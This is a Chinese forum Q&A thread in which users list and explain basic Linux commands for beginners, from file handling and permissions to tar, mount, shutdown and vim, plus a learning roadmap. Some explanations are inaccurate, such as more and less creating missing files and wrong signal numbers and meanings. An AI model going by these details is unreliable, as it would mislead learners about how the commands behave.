Linux】Linux初学者,需要先学习和熟练哪些命令

2021-04-02 10:18发布

15条回答
桥豆麻袋
1楼 · 2021-04-02 10:41.采纳回答

1、cd命令

这是一个非常基本,也是大家经常需要使用的命令,它用于切换当前目录,它的参数是要切换到的目录的路径,可以是绝对路径,也可以是相对路径。如:
cd /root/Docements # 切换到目录/root/Docements
cd ./path          # 切换到当前目录下的path目录中,“.”表示当前目录

cd ../path         # 切换到上层目录中的path目录中,“..”表示上一层目录


2、ls命令
这是一个非常有用的查看文件与目录的命令,list之意,它的参数非常多,下面就列出一些我常用的参数吧,如下:
-l :列出长数据串,包含文件的属性与权限数据等
-a :列出全部的文件,连同隐藏文件(开头为.的文件)一起列出来(常用)
-d :仅列出目录本身,而不是列出目录的文件数据
-h :将文件容量以较易读的方式(GB,kB等)列出来
-R :连同子目录的内容一起列出(递归列出),等于该目录下的所有文件都会显示出来
注:这些参数也可以组合使用,下面举两个例子:
ls -l #以长数据串的形式列出当前目录下的数据文件和目录

ls -lR #以长数据串的形式列出当前目录下的所有文件


3、grep命令
该命令常用于分析一行的信息,若当中有我们所需要的信息,就将该行显示出来,该命令通常与管道命令一起使用,用于对一些命令的输出进行筛选加工等等,它的简单语法为
grep [-acinv] [–color=auto] ‘查找字符串’ filename
它的常用参数如下:
-a :将binary文件以text文件的方式查找数据
-c :计算找到‘查找字符串’的次数
-i :忽略大小写的区别,即把大小写视为相同
-v :反向选择,即显示出没有‘查找字符串’内容的那一行
# 例如:
# 取出文件/etc/man.config中包含MANPATH的行,并把找到的关键字加上颜色
grep –color=auto ‘MANPATH’ /etc/man.config

# 把ls -l的输出中包含字母file(不区分大小写)的内容输出

ls -l | grep -i file


4、find命令
find是一个基于查找的功能非常强大的命令,相对而言,它的使用也相对较为复杂,参数也比较多,所以在这里将给把它们分类列出,它的基本语法如下:
find [PATH] [option] [action]

# 与时间有关的参数:
-mtime n : n为数字,意思为在n天之前的“一天内”被更改过的文件;
-mtime +n : 列出在n天之前(不含n天本身)被更改过的文件名;
-mtime -n : 列出在n天之内(含n天本身)被更改过的文件名;
-newer file : 列出比file还要新的文件名
# 例如:
find /root -mtime 0 # 在当前目录下查找今天之内有改动的文件

# 与用户或用户组名有关的参数:
-user name : 列出文件所有者为name的文件
-group name : 列出文件所属用户组为name的文件
-uid n : 列出文件所有者为用户ID为n的文件
-gid n : 列出文件所属用户组为用户组ID为n的文件
# 例如:
find /home/ljianhui -user ljianhui # 在目录/home/ljianhui中找出所有者为ljianhui的文件

# 与文件权限及名称有关的参数:
-name filename :找出文件名为filename的文件
-size [+-]SIZE :找出比SIZE还要大(+)或小(-)的文件
-tpye TYPE :查找文件的类型为TYPE的文件,TYPE的值主要有:一般文件(f)、设备文件(b、c)、
            目录(d)、连接文件(l)、socket(s)、FIFO管道文件(p);
-perm mode :查找文件权限刚好等于mode的文件,mode用数字表示,如0755;
-perm -mode :查找文件权限必须要全部包括mode权限的文件,mode用数字表示
-perm +mode :查找文件权限包含任一mode的权限的文件,mode用数字表示
# 例如:
find / -name passwd # 查找文件名为passwd的文件
find . -perm 0755 # 查找当前目录中文件权限的0755的文件

find . -size +12k # 查找当前目录中大于12KB的文件,注意c表示byte


5、cp命令
该命令用于复制文件,copy之意,它还可以把多个文件一次性地复制到一个目录下,它的常用参数如下:
-a :将文件的特性一起复制
-p :连同文件的属性一起复制,而非使用默认方式,与-a相似,常用于备份
-i :若目标文件已经存在时,在覆盖时会先询问操作的进行
-r :递归持续复制,用于目录的复制行为
-u :目标文件与源文件有差异时才会复制
例如 :
cp -a file1 file2 #连同文件的所有特性把文件file1复制成文件file2

cp file1 file2 file3 dir #把文件file1、file2、file3复制到目录dir中


6、mv命令
该命令用于移动文件、目录或更名,move之意,它的常用参数如下:
-f :force强制的意思,如果目标文件已经存在,不会询问而直接覆盖
-i :若目标文件已经存在,就会询问是否覆盖
-u :若目标文件已经存在,且比目标文件新,才会更新
注:该命令可以把一个文件或多个文件一次移动一个文件夹中,但是最后一个目标文件一定要是“目录”。

例如:
mv file1 file2 file3 dir # 把文件file1、file2、file3移动到目录dir中

mv file1 file2 # 把文件file1重命名为file2


7、rm命令
该命令用于删除文件或目录,remove之间,它的常用参数如下:
-f :就是force的意思,忽略不存在的文件,不会出现警告消息
-i :互动模式,在删除前会询问用户是否操作
-r :递归删除,最常用于目录删除,它是一个非常危险的参数
例如:
rm -i file # 删除文件file,在删除之前会询问是否进行该操作

rm -fr dir # 强制删除目录dir中的所有文件


8、ps命令
该命令用于将某个时间点的进程运行情况选取下来并输出,process之意,它的常用参数如下:
-A :所有的进程均显示出来
-a :不与terminal有关的所有进程
-u :有效用户的相关进程
-x :一般与a参数一起使用,可列出较完整的信息
-l :较长,较详细地将PID的信息列出
其实我们只要记住ps一般使用的命令参数搭配即可,它们并不多,如下:
ps aux # 查看系统所有的进程数据
ps ax # 查看不与terminal有关的所有进程
ps -lA # 查看系统所有的进程数据

ps axjf # 查看连同一部分进程树状态


9、kill命令
该命令用于向某个工作(%jobnumber)或者是某个PID(数字)传送一个信号,它通常与ps和jobs命令一起使用,它的基本语法如下:
kill -signal PID
signal的常用参数如下:
注:最前面的数字为信号的代号,使用时可以用代号代替相应的信号。
1:SIGHUP,启动被终止的进程
2:SIGINT,相当于输入ctrl+c,中断一个程序的进行
9:SIGKILL,强制中断一个进程的进行
15:SIGTERM,以正常的结束进程方式来终止进程
17:SIGSTOP,相当于输入ctrl+z,暂停一个进程的进行
例如:
# 以正常的结束进程方式来终于第一个后台工作,可用jobs命令查看后台中的第一个工作进程
kill -SIGTERM %1 
# 重新改动进程ID为PID的进程,PID可用ps命令通过管道命令加上grep命令进行筛选获得

kill -SIGHUP PID


10、killall命令
该命令用于向一个命令启动的进程发送一个信号,它的一般语法如下:
killall [-iIe] [command name]
它的参数如下:
-i :交互式的意思,若需要删除时,会询问用户
-e :表示后面接的command name要一致,但command name不能超过15个字符
-I :命令名称忽略大小写
# 例如:
killall -SIGHUP syslogd # 重新启动syslogd


11、file命令

该命令用于判断接在file命令后的文件的基本数据,因为在Linux下文件的类型并不是以后缀为分的,所以这个命令对我们来说就很有用了,它的用法非常简单,基本语法如下:
file filename
#例如:
file ./test


12、tar命令

该命令用于对文件进行打包,默认情况并不会压缩,如果指定了相应的参数,它还会调用相应的压缩程序(如gzip和bzip等)进行压缩和解压。它的常用参数如下:
-c :新建打包文件
-t :查看打包文件的内容含有哪些文件名
-x :解打包或解压缩的功能,可以搭配-C(大写)指定解压的目录,注意-c,-t,-x不能同时出现在同一条命令中
-j :通过bzip2的支持进行压缩/解压缩
-z :通过gzip的支持进行压缩/解压缩
-v :在压缩/解压缩过程中,将正在处理的文件名显示出来
-f filename :filename为要处理的文件
-C dir :指定压缩/解压缩的目录dir
上面的解说可以已经让你晕过去了,但是通常我们只需要记住下面三条命令即可:
压缩:tar -jcv -f filename.tar.bz2 要被处理的文件或目录名称
查询:tar -jtv -f filename.tar.bz2
解压:tar -jxv -f filename.tar.bz2 -C 欲解压缩的目录
注:文件名并不定要以后缀tar.bz2结尾,这里主要是为了说明使用的压缩程序为bzip2

13、cat命令
该命令用于查看文本文件的内容,后接要查看的文件名,通常可用管道与more和less一起使用,从而可以一页页地查看数据。例如:
cat text | less # 查看text文件中的内容
# 注:这条命令也可以使用less text来代替


14、chgrp命令

该命令用于改变文件所属用户组,它的使用非常简单,它的基本用法如下:
chgrp [-R] dirname/filename
-R :进行递归的持续对所有文件和子目录更改
# 例如:
chgrp users -R ./dir # 递归地把dir目录下中的所有文件和子目录下所有文件的用户组修改为users


15、chown命令

该命令用于改变文件的所有者,与chgrp命令的使用方法相同,只是修改的文件属性不同,不再详述。

16、chmod命令
该命令用于改变文件的权限,一般的用法如下:
chmod [-R] xyz 文件或目录
-R:进行递归的持续更改,即连同子目录下的所有文件都会更改
同时,chmod还可以使用u(user)、g(group)、o(other)、a(all)和+(加入)、-(删除)、=(设置)跟rwx搭配来对文件的权限进行更改。

# 例如:
chmod 0755 file # 把file的文件权限改变为-rxwr-xr-x

chmod g+w file # 向file的文件权限中加入用户组可写权限


18、vim命令
该命令主要用于文本编辑,它接一个或多个文件名作为参数,如果文件存在就打开,如果文件不存在就以该文件名创建一个文件。vim是一个非常好用的文本编辑器,它里面有很多非常好用的命令,在这里不再多说。你可以从这里下载vim常用操作的详细说明。

19、gcc命令
对于一个用Linux开发C程序的人来说,这个命令就非常重要了,它用于把C语言的源程序文件,编译成可执行程序,由于g++的很多参数跟它非常相似,所以这里只介绍gcc的参数,它的常用参数如下:
-o :output之意,用于指定生成一个可执行文件的文件名
-c :用于把源文件生成目标文件(.o),并阻止编译器创建一个完整的程序
-I :增加编译时搜索头文件的路径
-L :增加编译时搜索静态连接库的路径
-S :把源文件生成汇编代码文件
-lm:表示标准库的目录中名为libm.a的函数库
-lpthread :连接NPTL实现的线程库
-std= :用于指定把使用的C语言的版本

# 例如:
# 把源文件test.c按照c99标准编译成可执行程序test
gcc -o test test.c -lm -std=c99
#把源文件test.c转换为相应的汇编程序源文件test.s
gcc -S test.c


20、time命令

该命令用于测算一个命令(即程序)的执行时间。它的使用非常简单,就像平时输入命令一样,不过在命令的前面加入一个time即可,例如:
time ./process
time ps aux
在程序或命令运行结束后,在最后输出了三个时间,它们分别是:
user:用户CPU时间,命令执行完成花费的用户CPU时间,即命令在用户态中执行时间总和;
system:系统CPU时间,命令执行完成花费的系统CPU时间,即命令在核心态中执行时间总和;
real:实际时间,从command命令行开始执行到运行终止的消逝时间;

注:用户CPU时间和系统CPU时间之和为CPU时间,即命令占用CPU执行的时间总和。实际时间要大于CPU时间,因为Linux是多任务操作系统,往往在执行一条命令时,系统还要处理其它任务。另一个需要注意的问题是即使每次执行相同命令,但所花费的时间也是不一样,其花费时间是与系统运行相关的。


一个Ai
2楼 · 2021-04-02 10:46

一、基本命令

Ctrl + AIt + T      : 调出命令口终端(命令需要在命令口终端才能使用)

Ctrl + Shift + ‘+’ :放大字体

Ctrl + ‘-’ :减小字体

Ctrl + L  :清屏

Ctrl + C  :停止当前程序

Ctrl + Z  :将当前进程转移到后台运行

fg    : 重新恢复进程(通常与 Ctrl + Z 联合使用)

ifconfig : 查看 IP 地址

Tab :自动补全代码(高效工作的神器,你会爱上这个键的)

 

二、常用命令

1. 命令行模式

ls       :列出当前路径下有哪些文件

pwd   :显示当前文件路径

cd      :回到自己的工作目录(也就是最开始进入的目录)

cp Dir1.c Dir2.c :将DIr1.c 的内容拷贝一份给 Dir2.c 

touch Dome1.txt   :在当前目录下创建一个叫 dome1.txt 的 txt文件

rm Dome1.txt   :删除Dome1.txt 文件

mkdir Dir1        :创建一个叫 Dir1 的目录

rm Dir1             :删除DIr1目录

mv Dir1.c Dir2.c  : 将 Dir1.c 重命名为 Dir2.c

 


2. 输入行模式

vi dome1.c : 进入 vi 的命令行模式并创建一个 “ dome1.c ” 的文件 (此时依旧处于命令行模式)

i  : 切换到输入行模式(编写代码在输入行模式中编写)

Esc : 退出输入行模式,进入命令行模式

以下命令 输入在命令行模式,执行在输入行模式:

yy   : 复制光标所在的那一行

nyy : 复制光标所在的那一行的向下 n 行(n 为整数)

p  : 小写 p ,将已复制的数据在光标的下一行粘贴

P  : 大写P,粘贴在光标的上一行

dd   :删除光标所在的那一行

ndd :删除光标所在的向下 n 行(n 为整数)

Ctrl + r : 重做上一个动作

u   : 复原前一个动作

.    : 小数点,重复上一个动作

 

3.底线命令行模式

:     :冒号表示切换到底线输入模式,在底部输入命令

:set nu  :打出行号

:wq   :退出并保存(w:保存  q:退出)

小橘子
3楼 · 2021-04-02 11:28

Linux百度初学者必学的60个命令Linux必学命令Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。要想真正理解Linux系统,就必须从Linux命令学起,通过基础的命令学习可以进一步理解Linux系统。不同Linux发行版的命令数量不一样,但Linux发行版本最少的命令也有200多个。这里笔者把比较重要和使用频率最多的命令,按照它们在系统中的作用分成下面六个部分一一介绍。◆安装和登录命令:login、shutdown、halt、reboot、install、mount、umount、chsh、exit、last;◆文件处理命令:file、mkdir、grep、dd、find、mv、ls、diff、cat、ln;◆系统管理相关命令:df、top、free、quota、at、lp、adduser、groupadd、kill、crontab;◆网络操作命令:ifconfig、ip、ping、netstat、telnet、ftp、route、rlogin、rcp、finger、mail、nslookup;◆系统安全相关命令:passwd、su、umask、chgrp、chmod、chown、chattr、sudo+ps、who;◆其它命令:tar、unzip、gunzip、unarj、mtools、man、unendcode、uudecode。本文以Mandrake+Linux+9.1(Kenrel+2.4.21)为例,介绍Linux下的安装和登录命令。login+1.作用login的作用是登录系统,它的使用权限是所有用户。2.格式login+[name][-p+][-h+主机名称]+3.主要参数-p:通知login保持现在的环境参数。

是开心果呀 - 热爱生活
4楼 · 2021-04-02 12:35

对于Linux的学习,可以分为四个阶段,Linux初级入门阶段→Linux中级进阶→Linux高级进阶→Linux资深方向细化阶段
第一阶段:初级阶段
初级阶段需要把linux学习路线搞清楚,任何学习都是循序渐进的,所以学linux也是需要有一定的路线。
1. Linux基础知识、基本命令;
2. Linux用户及权限基础;
3. Linux系统进程管理进阶;
4. linux高效文本、文件处理命令;
5. shell脚本入门
第二阶段:中级进阶
中级进阶需要在充分了解linux原理和基础知识之后,对上层的应用和服务进行深入学习,其中说到服务肯定涉及到网络的相关知识,是需要花时间学习的。
1. TCP/IP网络基础;
2. Linux企业常用服务;
3. Linux企业级安全原理和防范技巧;
4. 加密/解密原理及数据安全、系统服务访问控制及服务安全基础;
5. iptables安全策略构建;
6. shell脚本进阶;
7. MySQL应用原理及管理入门
第三阶段:Linux高级进阶
1. http服务代理缓存加速;
2. 企业级负载集群;
3. 企业级高可用集群;
4. 运维监控zabbix详解;
5. 运维自动化学习;
第四阶段:Linux资深方向细化
1. 大数据方向;
2. 云计算方向;
3. 运维开发;
4. 自动化运维;
5. 运维架构师

三岁奶猫
5楼 · 2021-04-02 13:18
  1. 不同版本的Linux命令数量不一样,它们中比较重要的和使用频率最多的命令,按照它们在系统中的作用分成几个部分介绍给大家,通过这些基础命令的学习我们可以进一步理解Linux系统:

    安装和登录命令:login、 shutdown、 halt、 reboot 、mount、umount 、chsh

    文件处理命令:file、 mkdir、 grep、dd、 find、 mv 、ls 、diff、 cat、 ln

    系统管理相关命令:df、 top、 free、 quota 、 groupadd kill、 crontab、 tar、last

    网络操作命令:ifconfig、 ip 、ping 、 netstat 、telnet、 ftp、 route、 rlogin rcp 、finger 、mail 、nslookup

    系统安全相关命令: passwd 、su、 umask 、chgrp、 chmod、chown、chattr、sudo、 pswho


分为基本命令、常用命令2方面,具体的内容可以在CSDN网站去获取。

请叫我雷锋叔叔啊
7楼 · 2021-04-02 15:30

基础知识,磁盘划分,基本命令操作都要懂,《Linux就该这么学》对于入门来说非常好,可以看看

爱学习的小巴
8楼 · 2021-04-02 16:39

不同版本的Linux命令数量不一样,它们中比较重要的和使用频率最多的命令,按照它们在系统中的作用分成几个部分介绍给大家,通过这些基础命令的学习我们可以进一步理解Linux系统:

安装和登录命令:login、 shutdown、 halt、 reboot 、mount、umount 、chsh

文件处理命令:file、 mkdir、 grep、dd、 find、 mv 、ls 、diff、 cat、 ln

系统管理相关命令:df、 top、 free、 quota 、 groupadd kill、 crontab、 tar、last

操作命令


首先介绍一个名词“控制台(console)”,它就是我们通常见到的使用字符操作界面的人机接口,例如dos。我们说控制台命令,就是指通过字符界面输入的可以操作系统的命令,例如dos命令就是控制台命令。我们要了解的是基于Linux操作系统的基本控制台命令。有一点一定要注意,和dos命令不同的是,Linux的命令(也包括文件名等等)对大小写是敏感的,也就是说,如果你输入的命令大小写不对的话,系统是不会做出你期望的响应的。

模式切换


1、 由图形到字符#logout或init 3

2、由字符到图形界面init 5

3、退出consolelogout或exit或ctrl+d

4、 注销Ctrl + Alt + Backspace

5、 关机#poweroff或init 0或shutdown -h now或 halt -p

6、 重启#reboot或init 6或shutdown -r now

获得帮助


#help提供内部命令的帮助#man或info提供外部命令的帮助。

如果你的英文足够好,那完全可以不靠任何人就精通linux,只要你会用man。Man实际上就是查看指令用法的help,学习任何一种UNIX类的操作系统最重要的就是学会使用man这个辅助命令。man是manual(手册)的缩写字,它的说明非常的详细,但是因为它都是英文,看起来非常的头痛。建议大家需要的时候再去看man,平常嘛,记得一些基本用法就可以了。

常用命令


tar与gzip

tar命令 [1] 

1
#tar [-cxtzjvfpPN] [文件与目录....]

参数:

-c :建立一个压缩文件的参数指令(create 的意思);

-x :解开一个压缩文件的参数指令!

-t :查看 tarfile 里面的文件!

特别注意,在参数的下达中, c/x/t 仅能存在一个!不可同时存在!因为不可能同时压缩与解压缩。

-z :是否同时具有 gzip 的属性?亦即是否需要用 gzip 压缩?

-j :是否同时具有 bzip2 的属性?亦即是否需要用 bzip2 压缩?

-v :压缩的过程中显示文件!这个常用,但不建议用在背景执行过程!

-f :使用档名,请留意,在 f 之后要立即接档名喔!不要再加参数!

例如使用『 tar -zcvfP tfile sfile』就是错误的写法,要写成『 tar -zcvPf tfile sfile』才对

-p :使用原文件的原来属性(属性不会依据使用者而变)

-P :可以使用绝对路径来压缩!

-N :比后面接的日期(yyyy/mm/dd)还要新的才会被打包进新建的文件中!

--exclude FILE:在压缩的过程中,不要将 FILE 打包!

1
#tar -cvf [文件名.tar] [文件……目录]

查看包文件的内容

1
#tar -tf 文件名.tar

向已有的包中添加新文件

1
#tar -rvf [文件名.tar] [新文件……]

释放包文件

1
#tar -xvf 文件名.tar

gz压缩文件

1
#gzip 文件名

解压缩文件

1
#gzip -d 文件名.gz 

1
#gunzip 文件名.gz

创建压缩包

1
#tar -zcvf [文件名.tar.gz] [文件1 文件2 …]

查看压缩包中的内容

1
#tar -ztf 文件名.tar.gz

释放压缩包

1
#tar -zxvf 文件名.tar.gz

mount与umount

mount是Linux下的一个命令,它可以将分区作为Linux的一个“文件”挂接到Linux的一个空文件夹下,从而将分区和/mnt这个目录联系起来,因此我们只要访问这个文件夹,就相当于访问该分区了。目前mount已经不仅仅局限于Linux了,在Windows系统下的应用也越来越广了,多用在虚拟光驱类软件上,比如Clone CD,Daemon tool,WinMount等。

注意事项

  1. 必须将光盘、U盘等放入驱动器在实施挂载操作

  2. 不能在挂载目录下实施挂载操作,至少在上一级

  3. 不能在同一目录下挂载两个以上的文件系统

  4. Linux预留挂载目录为/mnt

  5. 不能在挂载目录下实施卸载操作

  6. 挂载目录必须事先存在

挂载光盘

1
#mount -t iso9660 /dev/cdrom /mnt/cdrom

卸载光盘

1
#umount /mnt/cdrom或#umount /dev/cdrom

挂载U盘

1
#mount /dev/sdb1 /mnt/usb

挂载iso镜像

1
#mount -t iso9660 -o loop iso 镜像文件 /mnt/cdrom

图形界面和命令行界面切换

进入Ubuntu桌面环境后,可以使用键盘上的“Ctrl+Alt+F1~F6“组合键来切换不同的tty界面,Linux默认提供了6个命令行界面(F1-F6),比如”Ctrl+Alt+F1″就是切换到tty1:

1
2
3
4
5
6
7
8
9
10
11
12
/*
最上面显示的是Ubuntu的版本计算机名称和tty号
*/
 
Ubuntu 12.04.1 LTS qingsword tty1
 
/*
输入用户名和密码即可登录tty1
*/
 
qingsword login: root
Password:

在命令行模式下,想要切换回图形界面可以使用组合键”Ctrl+Alt+F7“。另外,如果不是从图形界面切换到tty模式,而是系统启动时候直接进入的命令行模式,在登陆后可以使用”startx”来启动图形界面。

在图形界面下使用”Ctrl+Alt+T“可以快速启动Linux的命令行终端。

列出目录中的文件(LS)

在Linux命令行终端中使用的最多的命令就是这个ls,它可以帮助我们列出当前目录下都有哪些文件,下面是一些实例:

使用pwd,查看当前是在哪个目录中,显示为“/home/qingsword”,这就是当前命令行所在的目录。

1
[qingsword@localhost ~]$ pwd

切换到根目录

1
[qingsword@localhost ~]$ cd 

查看根目录下面都有哪些文件和文件夹

1
[qingsword@localhost /]$ ls

除此之外ls会显示不同颜色,下面是这些颜色的含义:

  1. 蓝色—目录

  2. 绿色—可执行文件

  3. 红色—压缩文件

  4. 浅蓝色—链接文件

  5. 粉红色—图片文件

  6. 黄色—设备文件

  7. 灰色—其他文件

可以切换到/dev目录下用ls查看一下,会看到大部分为设备文件。

目录切换(CD)

使用cd(Change Directory)命令可以在不同目录之间切换,下面是一些实例:

当前目录是根目录

1
[qingsword@localhost /]$ pwd

使用cd切换到/dev这个目录

1
[qingsword@localhost /]$ cd /dev

这条命令可以用来跳到前一个工作目录

1
[qingsword@localhost dev]$ cd -

返回上一层目录

1
[qingsword@localhost ~]$ cd ..

重启和关机

使用下面的命令重启和关机(这个命令必须使用root用户才能执行):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*首先切换到root权限*/
 
 [qingsword@localhost ~]$ su
 
 Password:
 
 /*一分钟后关机*/
 
 [qingsword@localhost ~]# shutdown -h 1
 
 /*如果是定时关机,可以打开另外一个终端,使用下面这个命令取消关机*/
 
 [qingsword@localhost ~]# shutdown -c
 
 /*马上关机*/
 
 [qingsword@localhost ~]# shutdown -h now
 
 /*下面这两条命令也是马上关机*/
 
 [qingsword@localhost ~]# init 0
 
 [qingsword@localhost ~]# poweroff
 
 /*下面这两条命令都能马上重启*/
 
 [qingsword@localhost ~]# reboot
 
 [qingsword@localhost ~]# init 6

建新目录


mkdir与rmdir命令

1
2
mkdir [make directory] 
rmdir [remove directory]

mkdir命令用来建立新的目录

名称:mkdir

使用权限:于目前目录有适当权限的所有使用者

使用方式:mkdir[-p] dirName

说明:建立名称为 dirName 之子目录。

参数:-p 确保目录名称存在,不存在的就建一个。

范例:

在工作目录下,建立一个名为 AAA 的子目录 :

1
mkdir AAA

在工作目录下的 BBB 目录中,建立一个名为Test的子目录。若 BBB目录原本不存在,则建立一个。(注:本例若不加 -p,且原本 BBB目录不存在,则产生错误。)

1
mkdir-p BBB/Test

rmdir 用来删除已建立的目录,

名称:rmdir

使用权限:于目前目录有适当权限的所有使用者

使用方式: rmdir [-p] dirName

说明: 删除空的目录。

参数: -p 是当子目录被删除后使它也成为空目录的话,则顺便一并删除。

范例:

将工作目录下,名为 AAA 的子目录删除 :

1
rmdir AAA

在工作目录下的 BBB 目录中,删除名为 Test 的子目录。若 Test 删除后,BBB目录成为空目录,则 BBB 亦予删除。

1
rmdir -p BBB/Test

cp

cp [copy]

这个命令相当于dos下面的copy命令,具体用法是:cp –r源文件(source) 目的文件(target)

参数r是指连同源文件中的子目录一同拷贝。熟悉dos的读者用起这个命令来会觉得更方便,毕竟比在dos下面要少敲两下键盘。

../ 和 ./ 代表的 是上级目录以及当前目录。

这样运用这两个命令来完成两种复制方法。

第一种:处在当前目录复制当前目录下文件到别的目录。

cp_文件名称_别的文件目录路径。"_"是空格

举个例子 在 orz文件夹下有两个子文件夹a和b,a中有文件x.c,b中无文件。

此时我们在a文件夹中命令如下:

1
cp x.c ../b/

第二种:处在当前文件夹下复制另外文件夹下的文件到当前文件夹下。

1
cp_路径/文件名称_./

例子条件同上个例子,命令如下:

1
cp ../a/x.c ./

rm

rm [remove]

这个命令是用来删除文件的,和dos下面的rm(删除一个空目录)是有区别的,大家千万要注意。rm命令常用的参数有三个: -i,-r,-f。

比如我现在要删除一个名字为test的一个文件:rm –i test

系统会询问我们:“rm:remove ‘test’?y”,敲了回车以后,这个文件才会真的被删除。之所以要这样做,是因为linux不象dos那样有undelete的命令,或者是可以用pctool等工具将删除过的文件救回来,linux中删除过的文件是救不回来的,所以使用这个参数在删除前让你再确定一遍,是很有必要的。

rm –r目录名:这个操作可以连同这个目录下面的子目录都删除,功能上和rmdir相似。

rm –f 文件名(目录名):这个操作可以进行强制删除。

mv

mv[move]

这个命令的功能是移动目录或文件,引申的功能是给目录或文件重命名。它的用法同dos下面的move基本相同,这里不再多讲。当使用该命令来移动目录时,他会连同该目录下面的子目录也一同移走。如果你想给一个文件或目录重命名时可以用以下方法:mv 原文件名(目录) 新的文件名(目录)。

dudf

du [disk usage]

du命令可以显示目前的目录所占的磁盘空间,df命令可以显示目前磁盘剩余的磁盘空间。如果du命令不加任何参数,那么返回的是整个磁盘的使用情况,如果后面加了目录的话,就是这个目录在磁盘上的使用情况(这个功能可是dos没有的呦)。不过我一般不喜欢用du,因为它给出的信息实在是太多了,我看不过来,而df这个命令我是最常用的,因为磁盘上还剩多少空间对我来说是很重要的。

语法:df [选项]

说明:linux中df命令可显示所有文件系统对i节点和磁盘块的使用情况。

该命令各个选项的含义如下:

-a 显示所有文件系统的磁盘使用情况,包括0块(block)的文件系统,如/proc文件系统。

-k 以k字节为单位显示。

-h:以容易理解的格式输出文件系统大小,例如124KB、345MB、46GB。

-i 显示i节点信息,而不是磁盘块。

-t 显示各指定类型的文件系统的磁盘空间使用情况。

-x 列出不是某一指定类型文件系统的磁盘空间使用情况(与t选项相反)。

-T 显示文件系统类型。

功能:检查文件系统的磁盘空间占用情况。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息的!

cat

cat[concatenate]

这个命令是linux中非常重要的一个命令,它的功能是显示或连结一般的ascii文本文件。cat是concatenate的简写,类似于dos下面的type命令。它的用法如下:

cat text 显示text这个文件;

cat file1 file2 依顺序显示file1,file2的内容;

cat "file1" "file2">file3 把file1,file2的内容结合起来,再“重定向(>)”到file3文件中。

“〉”是一个非常有趣的符号,是往右重定向的意思,就是把左边的结果当成是输入,然后输入到file3这个文件中。这里要注意一点是file3是在重定向以前还未存在的文件,如果file3是已经存在的文件,那么它本身的内容被覆盖,而变成file1+file2的内容。如果〉左边没有文件的名称,而右边有文件名,例如:

cat >file1:结果是会“空出一行空白行”,等待你输入文字,输入完毕后再按[Ctrl]+[c]或[Ctrl]+[d],就会结束编辑,并产生file1这个文件,而file1的内容就是你刚刚输入的内容。这个过程和dos里面的copy con file1的结果是一样的。

另外,如果你使用如下的指令:

cat file1>>file2:这将变成将file1的文件内容“附加”到file2的文件后面,而file2的内容依然存在,这种重定向符〉〉比〉常用,可以多多利用。

文件指令


more与less

这是两个显示一般文本文件的指令。如果一个文本文件太长了超过一个屏幕的画面,用cat来看实在是不理想,就可以试试more和less两个指令。More指令可以使超过一页的文件临时停留在屏幕,等你按任何的一个键以后,才继续显示。而less除了有more的功能以外,还可以用方向键往上或往下的滚动文件,所以你随意浏览,阅读文章时,less是个非常好的选择。当more或less文件不存在时,那么该文件就会自动生个空文件,所以more和less也可以作为创建文件的用法。 [1] 

more 参数如下:

+num 从第num行开始显示;

-num 定义屏幕大小,为num行;

+/pattern 从pattern 前两行开始显示;

-c 从顶部清屏然后显示;

-d 提示Press space to continue, 'q' to quit.(按空 键继续,按q键退出),禁用响铃功能;

-l 忽略Ctrl+l (换页)字符;

-p 通过清除窗口而不是滚屏来对文件进行换页。和-c参数有点相似;

-s 把连续的多个空行显示为一行;

-u 把文件内容中的下划线去掉

less 常用参数

de>-c 从顶部(从上到下)刷新屏幕,并显示文件内容。而不是通过底部滚动完成刷新;

-f 强制打开文件,二进制文件显示时,不提示警告;

-i 搜索时忽略大小写;除非搜索串中包含大写字母;

-I 搜索时忽略大小写,除非搜索串中包含小写字母;

-m 显示读取文件的百分比;

-M 显法读取文件的百分比、行号及总行数;

-N 在每行前输出行号;

-p pattern 搜索pattern;比如在/etc/profile搜索单词MAIL,就用 less -p MAIL /etc/profile

-s 把连续多个空白行作为一个空白行显示;

-Q 在终端下不响铃;de>

比如:我们在显示/etc/profile的内容时,让其显示行号;

de>[root@localhost ~]# less -N /etc/profilede>

pwd

pwd [print working directory]

pwd [--help][--version]

说明:执行pwd指令可立刻得知您目前所在的工作目录的绝对路径名称。

清除屏幕


clear

这个命令是用来清除屏幕的,它不需要任何参数,和dos下面的cls具有相同的功能,如果你觉得屏幕太紊乱,就可以使用它清除屏幕上的信息。

ln

ln[link]

这是linux中又一个非常重要命令,请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个不同的链接,这个命令最常用的参数是-s,具体用法是:ln –s源文件目标文件。

当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。例如:ln –s /bin/less /usr/local/bin/less

-s 是代号(symbolic)的意思。

这里有两点要注意:第一,ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化;第二,ln的链接有软链接和硬链接两种,软链接就是ln –s ** **,它只会在你选定的位置上生成一个文件的镜像,不会占用磁盘空间,硬链接ln ** **,没有参数-s, 它会在你选定的位置上生成一个和源文件大小相同的文件,无论是软链接还是硬链接,文件都保持同步变化。

如果你用ls察看一个目录时,发现有的文件后面有一个@的符号,那就是一个用ln命令生成的文件,用ls –l命令去察看,就可以看到显示的link的路径了。

grep

用于查找文件中符合字符串的那行。

e.g. grep -nr "network_ssl" ./ [查找当前文件夹下所有文件内容,列出包含有 network_ssl该字串的行,并显示行号]

参数说明: -a :将 binary 文件以 text 文件的方式搜寻数据

-c :计算找到 '搜寻字符串' 的次数

-i :忽略大小写的不同,所以大小写视为相同

-n :顺便输出行号

-v :反向选择,亦即显示出没有 '搜寻字符串' 内容的那一行!

-A NUM:同时输出匹配行的后NUM行。

-B NUM:同时输出匹配行的前NUM行。

-C NUM:同时输出匹配行的前、后各NUM行。

-r :明确要求搜索子目录:grep -r 或忽略子目录:grep -d skip 如果有很多 输出时,您可以通过管道将其转到’less’上阅读:$ grep magic /usr/src/Linux/Documentation/* | less 这样,您就可以更方便地阅读。

find

find / -name "*.txt" -print 用于查找所有的‘ *.txt’文件在当前目录及子目录中;

